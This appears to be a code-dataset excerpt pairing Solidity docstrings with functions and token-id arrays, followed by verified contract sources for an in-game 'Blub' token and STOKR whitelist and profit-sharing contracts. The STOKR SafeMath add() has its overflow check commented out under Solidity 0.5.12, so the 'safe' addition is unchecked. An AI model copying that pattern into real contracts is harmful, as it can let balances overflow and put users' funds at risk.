poolBalance = getDebtPool().balanceOf(msg.sender, _token); uint256 ercBalance = ERC20(_token).balanceOf(msg.sender); // success return _repay(_token, Math.min(poolBalance, ercBalance)); } }
mustMintMax tries to increase the debt by maxim allowed amount to stoll satisfy the required debt to collateral ratio. It reverts the transaction if the fails. try to withdraw max amount of tokens allowed check zero amount condition check low amount condition (fee to amount check) check minting now enabled for the token condition check no value condition check low collateral ratio condition sanity check for any non-covered condition
function mustMintMax(address _token, uint256 _ratio) public nonReentrant { uint256 result = _mintMax(_token, _ratio); require(result != ERR_ZERO_AMOUNT, "non-zero amount expected"); require(result != ERR_LOW_AMOUNT, "amount too low"); require(result != ERR_MINTING_PROHIBITED, "minting of the token prohibited"); require(result != ERR_NO_VALUE, "token has no value"); require(result != ERR_LOW_COLLATERAL_RATIO, "insufficient collateral value"); require(result == ERR_NO_ERROR, "unexpected failure"); }
6,391,753
[ 1, 11926, 49, 474, 2747, 9327, 358, 10929, 326, 18202, 88, 635, 30547, 2935, 3844, 358, 384, 22382, 18866, 326, 1931, 18202, 88, 358, 4508, 2045, 287, 7169, 18, 2597, 15226, 87, 326, 2492, 309, 326, 6684, 18, 775, 358, 598, 9446, 943, 3844, 434, 2430, 2935, 866, 3634, 3844, 2269, 866, 4587, 3844, 2269, 261, 21386, 358, 3844, 866, 13, 866, 312, 474, 310, 2037, 3696, 364, 326, 1147, 2269, 866, 1158, 460, 2269, 866, 4587, 4508, 2045, 287, 7169, 2269, 16267, 866, 364, 1281, 1661, 17, 16810, 2269, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1297, 49, 474, 2747, 12, 2867, 389, 2316, 16, 2254, 5034, 389, 9847, 13, 1071, 1661, 426, 8230, 970, 288, 203, 3639, 2254, 5034, 563, 273, 389, 81, 474, 2747, 24899, 2316, 16, 389, 9847, 1769, 203, 203, 3639, 2583, 12, 2088, 480, 10359, 67, 24968, 67, 2192, 51, 5321, 16, 315, 5836, 17, 7124, 3844, 2665, 8863, 203, 203, 3639, 2583, 12, 2088, 480, 10359, 67, 4130, 67, 2192, 51, 5321, 16, 315, 8949, 4885, 4587, 8863, 203, 203, 3639, 2583, 12, 2088, 480, 10359, 67, 49, 3217, 1360, 67, 3373, 44, 13450, 1285, 2056, 16, 315, 81, 474, 310, 434, 326, 1147, 450, 29993, 8863, 203, 203, 3639, 2583, 12, 2088, 480, 10359, 67, 3417, 67, 4051, 16, 315, 2316, 711, 1158, 460, 8863, 203, 203, 3639, 2583, 12, 2088, 480, 10359, 67, 4130, 67, 4935, 12190, 654, 1013, 67, 54, 789, 4294, 16, 315, 2679, 11339, 4508, 2045, 287, 460, 8863, 203, 203, 3639, 2583, 12, 2088, 422, 10359, 67, 3417, 67, 3589, 16, 315, 21248, 5166, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Interface for checking active staked balance of a user. */ interface IBlubSource { function getAccumulatedAmount(address staker) external view returns (uint256); } /** * @dev Interface for ERC-20 $BLUB functions that are required for in-game BLUB. */ interface ITradableBlub is IERC20 { function _authorisedMint(address sender, uint256 amount) external; function _authorisedBurn(address sender, uint256 amount) external; } /** * @dev Implementation of in-game BLUB. */ contract InGameBlub is ReentrancyGuard, Ownable { IBlubSource public BlubSource; ITradableBlub public tradableBlub; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public taxesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping (address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised { require(_isAuthorised[_msgSender()], "Not Authorised"); _; } modifier whenNotPaused { require(!isPaused, "Transfers paused!"); _; } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor(address indexed caller, address indexed userAddress, uint256 amount); event Spend(address indexed caller, address indexed userAddress, uint256 amount, uint256 tax); event ClaimTax(address indexed caller, address indexed userAddress, uint256 amount); event InternalTransfer(address indexed from, address indexed to, uint256 amount); constructor(address _source) { _isAuthorised[_msgSender()] = true; isPaused = true; isTransferPaused = true; isDepositPaused = true; isWithdrawPaused = true; withdrawTaxAmount = 25; spendTaxAmount = 25; BlubSource = IBlubSource(_source); } /** * @dev Returns current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 Blub OR can be withdrawn to ERC-20 Blub. */ function getUserBalance(address user) public view returns (uint256) { return (BlubSource.getAccumulatedAmount(user) + depositedAmount[user] - spentAmount[user]); } /** * @dev Function to deposit ERC-20 Blub to the game balance. */ function depositBlub(uint256 amount) public nonReentrant whenNotPaused { require(!isDepositPaused, "Deposit Paused"); require(tradableBlub.balanceOf(_msgSender()) >= amount, "Insufficient balance"); tradableBlub._authorisedBurn(_msgSender(), amount); depositedAmount[_msgSender()] += amount; emit Deposit( _msgSender(), amount ); } /** * @dev Function to withdraw game Blub to ERC-20 Blub. */ function withdrawBlub(uint256 amount) public nonReentrant whenNotPaused { require(!isWithdrawPaused, "Withdraw Paused"); require(getUserBalance(_msgSender()) >= amount, "Insufficient balance"); uint256 tax = withdrawTaxCollectionStopped ? 0 : (amount * withdrawTaxAmount) / 100; spentAmount[_msgSender()] += amount; activeTaxCollectedAmount += tax; tradableBlub._authorisedMint(_msgSender(), (amount - tax)); emit Withdraw( _msgSender(), amount, tax ); } /** * @dev Function to transfer game Blub from one account to another. */ function transferBlub(address to, uint256 amount) public nonReentrant whenNotPaused { require(!isTransferPaused, "Transfer Paused"); require(getUserBalance(_msgSender()) >= amount, "Insufficient balance"); spentAmount[_msgSender()] += amount; depositedAmount[to] += amount; emit InternalTransfer( _msgSender(), to, amount ); } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBlub(address user, uint256 amount) external onlyAuthorised nonReentrant { require(getUserBalance(user) >= amount, "Insufficient balance"); uint256 tax = spendTaxCollectionStopped ? 0 : (amount * spendTaxAmount) / 100; spentAmount[user] += amount; activeTaxCollectedAmount += tax; emit Spend( _msgSender(), user, amount, tax ); } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBlubFor(address user, uint256 amount) public onlyAuthorised nonReentrant { _depositBlubFor(user, amount); } /** * @dev Function to distribute tokens to the user balances. Can be only called by an authorised users. */ function distributeBlub(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { require(user.length == amount.length, "Wrong arrays passed"); for (uint256 i; i < user.length; i++) { _depositBlubFor(user[i], amount[i]); } } /** * @dev Function to distribute a constant amount of tokens to the user balances. Can be only called by an authorised users. */ function distributeBlubConstant(address[] memory user, uint256 amount) public onlyAuthorised nonReentrant { for (uint256 i; i < user.length; i++) { _depositBlubFor(user[i], amount); } } function _depositBlubFor(address user, uint256 amount) internal { require(user != address(0), "Deposit to 0 address"); depositedAmount[user] += amount; emit DepositFor( _msgSender(), user, amount ); } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { if (tokenCapSet) require(tradableBlub.totalSupply() + amount <= MAX_SUPPLY, "You try to mint more than max supply"); tradableBlub._authorisedMint(user, amount); } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBlubTax(address user, uint256 amount) public onlyAuthorised nonReentrant { require(activeTaxCollectedAmount >= amount, "Insufficiend tax balance"); activeTaxCollectedAmount -= amount; depositedAmount[user] += amount; taxesDistributed += amount; emit ClaimTax( _msgSender(), user, amount ); } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { require(tokenCapSet, "Max supply is not set"); return MAX_SUPPLY; } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of Blub token. */ function setTokenCap(uint256 newTokenCap) public onlyOwner { require(tradableBlub.totalSupply() < newTokenCap, "Value is smaller than the number of existing tokens"); require(!tokenCapSet, "Token cap has been already set"); MAX_SUPPLY = newTokenCap; } /** * @dev Function stops any further minting of Blub. */ function lockTokenCapForever(bool _lock) public onlyOwner { require(!tokenCapSet, "Token cap has been locked"); tokenCapSet = _lock; } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { _isAuthorised[addressToAuth] = true; authorisedLog.push(addressToAuth); } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { _isAuthorised[addressToUnAuth] = false; } /** * @dev Function allows admin update the address of staking address. */ function changeBlubSourceContract(address _source) public onlyOwner { BlubSource = IBlubSource(_source); authorise(_source); } /** * @dev Function allows admin update the address of staking address. */ function changeTradableBlubContract(address _newTradableBlub) public onlyOwner { tradableBlub = ITradableBlub(_newTradableBlub); authorise(_newTradableBlub); } /** * @dev Function allows admin to update limit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { require(_taxAmount < MAX_TAX_VALUE, "Wrong value passed"); withdrawTaxAmount = _taxAmount; } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { require(_taxAmount < MAX_TAX_VALUE, "Wrong value passed"); spendTaxAmount = _taxAmount; } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { withdrawTaxCollectionStopped = _stop; } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { spendTaxCollectionStopped = _stop; } /** * @dev Function allows admin to pause all in game Blub transfactions. */ function pauseGameBlub(bool _pause) public onlyOwner { isPaused = _pause; } /** * @dev Function allows admin to pause in game Blub transfers. */ function pauseTransfers(bool _pause) public onlyOwner { isTransferPaused = _pause; } /** * @dev Function allows admin to pause in game Blub withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { isWithdrawPaused = _pause; } /** * @dev Function allows admin to pause in game Blub deposit. */ function pauseDeposits(bool _pause) public onlyOwner { isDepositPaused = _pause; } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
* @dev Function to deposit ERC-20 Blub to the game balance./
function depositBlub(uint256 amount) public nonReentrant whenNotPaused { require(!isDepositPaused, "Deposit Paused"); require(tradableBlub.balanceOf(_msgSender()) >= amount, "Insufficient balance"); tradableBlub._authorisedBurn(_msgSender(), amount); depositedAmount[_msgSender()] += amount; emit Deposit( _msgSender(), amount ); }
7,669,930
[ 1, 2083, 358, 443, 1724, 4232, 39, 17, 3462, 8069, 373, 358, 326, 7920, 11013, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 4802, 373, 12, 11890, 5034, 3844, 13, 1071, 1661, 426, 8230, 970, 1347, 1248, 28590, 288, 203, 1377, 2583, 12, 5, 291, 758, 1724, 28590, 16, 315, 758, 1724, 21800, 3668, 8863, 203, 1377, 2583, 12, 313, 361, 429, 4802, 373, 18, 12296, 951, 24899, 3576, 12021, 10756, 1545, 3844, 16, 315, 5048, 11339, 11013, 8863, 203, 203, 1377, 1284, 17394, 4802, 373, 6315, 4161, 5918, 38, 321, 24899, 3576, 12021, 9334, 3844, 1769, 203, 1377, 443, 1724, 329, 6275, 63, 67, 3576, 12021, 1435, 65, 1011, 3844, 31, 203, 203, 1377, 3626, 4019, 538, 305, 12, 203, 3639, 389, 3576, 12021, 9334, 203, 3639, 3844, 203, 1377, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-01-30 */ // File: contracts/math/SafeMath.sol pragma solidity 0.5.12; /// @title SafeMath /// @dev Math operations with safety checks that throw on error library SafeMath { /// @dev Add two integers function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; //assert(c >= a); return c; } /// @dev Subtract two integers function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /// @dev Multiply tow integers function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /// @dev Floor divide two integers function div(uint a, uint b) internal pure returns (uint) { return a / b; } } // File: contracts/ownership/Ownable.sol pragma solidity 0.5.12; /// @title Ownable /// @dev Provide a simple access control with a single authority: the owner contract Ownable { // Ethereum address of current owner address public owner; // Ethereum address of the next owner // (has to claim ownership first to become effective owner) address public newOwner; // @dev Log event on ownership transferred // @param previousOwner Ethereum address of previous owner // @param newOwner Ethereum address of new owner event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /// @dev Forbid call by anyone but owner modifier onlyOwner() { require(msg.sender == owner, "Restricted to owner"); _; } /// @dev Deployer account becomes initial owner constructor() public { owner = msg.sender; } /// @dev Transfer ownership to a new Ethereum account (safe method) /// Note: the new owner has to claim his ownership to become effective owner. /// @param _newOwner Ethereum address to transfer ownership to function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0), "New owner is zero"); newOwner = _newOwner; } /// @dev Transfer ownership to a new Ethereum account (unsafe method) /// Note: It's strongly recommended to use the safe variant via transferOwnership /// and claimOwnership, to prevent accidental transfers to a wrong address. /// @param _newOwner Ethereum address to transfer ownership to function transferOwnershipUnsafe(address _newOwner) public onlyOwner { require(_newOwner != address(0x0), "New owner is zero"); _transferOwnership(_newOwner); } /// @dev Become effective owner (if dedicated so by previous owner) function claimOwnership() public { require(msg.sender == newOwner, "Restricted to new owner"); _transferOwnership(msg.sender); } /// @dev Transfer ownership (internal method) /// @param _newOwner Ethereum address to transfer ownership to function _transferOwnership(address _newOwner) private { if (_newOwner != owner) { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } newOwner = address(0x0); } } // File: contracts/whitelist/Whitelist.sol pragma solidity 0.5.12; /// @title Whitelist /// @author STOKR contract Whitelist is Ownable { // Set of admins mapping(address => bool) public admins; // Set of Whitelisted addresses mapping(address => bool) public isWhitelisted; /// @dev Log entry on admin added to set /// @param admin An Ethereum address event AdminAdded(address indexed admin); /// @dev Log entry on admin removed from set /// @param admin An Ethereum address event AdminRemoved(address indexed admin); /// @dev Log entry on investor added set /// @param admin An Ethereum address /// @param investor An Ethereum address event InvestorAdded(address indexed admin, address indexed investor); /// @dev Log entry on investor removed from set /// @param admin An Ethereum address /// @param investor An Ethereum address event InvestorRemoved(address indexed admin, address indexed investor); /// @dev Only admin modifier onlyAdmin() { require(admins[msg.sender], "Restricted to whitelist admin"); _; } /// @dev Add admin to set /// @param _admin An Ethereum address function addAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); if (!admins[_admin]) { admins[_admin] = true; emit AdminAdded(_admin); } } /// @dev Remove admin from set /// @param _admin An Ethereum address function removeAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); // Necessary? if (admins[_admin]) { admins[_admin] = false; emit AdminRemoved(_admin); } } /// @dev Add investor to set of whitelisted addresses /// @param _investors A list where each entry is an Ethereum address function addToWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (!isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = true; emit InvestorAdded(msg.sender, _investors[i]); } } } /// @dev Remove investor from set of whitelisted addresses /// @param _investors A list where each entry is an Ethereum address function removeFromWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = false; emit InvestorRemoved(msg.sender, _investors[i]); } } } } // File: contracts/whitelist/Whitelisted.sol pragma solidity 0.5.12; /// @title Whitelisted /// @author STOKR contract Whitelisted is Ownable { Whitelist public whitelist; /// @dev Log entry on change of whitelist contract instance /// @param previous Ethereum address of previous whitelist /// @param current Ethereum address of new whitelist event WhitelistChange(address indexed previous, address indexed current); /// @dev Ensure only whitelisted addresses can call modifier onlyWhitelisted(address _address) { require(whitelist.isWhitelisted(_address), "Address is not whitelisted"); _; } /// @dev Constructor /// @param _whitelist address of whitelist contract constructor(Whitelist _whitelist) public { setWhitelist(_whitelist); } /// @dev Set the address of whitelist /// @param _newWhitelist An Ethereum address function setWhitelist(Whitelist _newWhitelist) public onlyOwner { require(address(_newWhitelist) != address(0x0), "Whitelist address is zero"); if (address(_newWhitelist) != address(whitelist)) { emit WhitelistChange(address(whitelist), address(_newWhitelist)); whitelist = Whitelist(_newWhitelist); } } } // File: contracts/token/ERC20.sol pragma solidity 0.5.12; /// @title ERC20 interface /// @dev see https://github.com/ethereum/EIPs/issues/20 interface ERC20 { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); function totalSupply() external view returns (uint); function balanceOf(address _owner) external view returns (uint); function allowance(address _owner, address _spender) external view returns (uint); function approve(address _spender, uint _value) external returns (bool); function transfer(address _to, uint _value) external returns (bool); function transferFrom(address _from, address _to, uint _value) external returns (bool); } // File: contracts/token/ProfitSharing.sol pragma solidity 0.5.12; /// @title ProfitSharing /// @author STOKR contract ProfitSharing is Ownable { using SafeMath for uint; // An InvestorAccount object keeps track of the investor's // - balance: amount of tokens he/she holds (always up-to-date) // - profitShare: amount of wei this token owed him/her at the last update // - lastTotalProfits: determines when his/her profitShare was updated // Note, this construction requires: // - totalProfits to never decrease // - totalSupply to be fixed // - profitShare of all involved parties to get updated prior to any token transfer // - lastTotalProfits to be set to current totalProfits upon profitShare update struct InvestorAccount { uint balance; // token balance uint lastTotalProfits; // totalProfits [wei] at the time of last profit share update uint profitShare; // profit share [wei] of last update } // Investor account database mapping(address => InvestorAccount) public accounts; // Authority who is allowed to deposit profits [wei] on this address public profitDepositor; // Authority who is allowed to distribute profit shares [wei] to investors // (so, that they don't need to withdraw it by themselves) address public profitDistributor; // Amount of total profits [wei] stored to this token // In contrast to the wei balance (which may be reduced due to profit share withdrawal) // this value will never decrease uint public totalProfits; // As long as the total supply isn't fixed, i.e. new tokens can appear out of thin air, // the investors' profit shares aren't determined bool public totalSupplyIsFixed; // Total amount of tokens uint internal totalSupply_; /// @dev Log entry on change of profit deposit authority /// @param previous Ethereum address of previous profit depositor /// @param current Ethereum address of new profit depositor event ProfitDepositorChange( address indexed previous, address indexed current ); /// @dev Log entry on change of profit distribution authority /// @param previous Ethereum address of previous profit distributor /// @param current Ethereum address of new profit distributor event ProfitDistributorChange( address indexed previous, address indexed current ); /// @dev Log entry on profit deposit /// @param depositor Profit depositor's address /// @param amount Deposited profits in wei event ProfitDeposit( address indexed depositor, uint amount ); /// @dev Log entry on profit share update /// @param investor Investor's address /// @param amount New wei amount the token owes the investor event ProfitShareUpdate( address indexed investor, uint amount ); /// @dev Log entry on profit withdrawal /// @param investor Investor's address /// @param amount Wei amount the investor withdrew from this token event ProfitShareWithdrawal( address indexed investor, address indexed beneficiary, uint amount ); /// @dev Restrict operation to profit deposit authority only modifier onlyProfitDepositor() { require(msg.sender == profitDepositor, "Restricted to profit depositor"); _; } /// @dev Restrict operation to profit distribution authority only modifier onlyProfitDistributor() { require(msg.sender == profitDistributor, "Restricted to profit distributor"); _; } /// @dev Restrict operation to when total supply doesn't change anymore modifier onlyWhenTotalSupplyIsFixed() { require(totalSupplyIsFixed, "Total supply may change"); _; } /// @dev Constructor /// @param _profitDepositor Profit deposit authority constructor(address _profitDepositor, address _profitDistributor) public { setProfitDepositor(_profitDepositor); setProfitDistributor(_profitDistributor); } /// @dev Profit deposit if possible via fallback function function () external payable { require(msg.data.length == 0, "Fallback call with data"); depositProfit(); } /// @dev Change profit depositor /// @param _newProfitDepositor An Ethereum address function setProfitDepositor(address _newProfitDepositor) public onlyOwner { require(_newProfitDepositor != address(0x0), "New profit depositor is zero"); if (_newProfitDepositor != profitDepositor) { emit ProfitDepositorChange(profitDepositor, _newProfitDepositor); profitDepositor = _newProfitDepositor; } } /// @dev Change profit distributor /// @param _newProfitDistributor An Ethereum address function setProfitDistributor(address _newProfitDistributor) public onlyOwner { require(_newProfitDistributor != address(0x0), "New profit distributor is zero"); if (_newProfitDistributor != profitDistributor) { emit ProfitDistributorChange(profitDistributor, _newProfitDistributor); profitDistributor = _newProfitDistributor; } } /// @dev Deposit profit function depositProfit() public payable 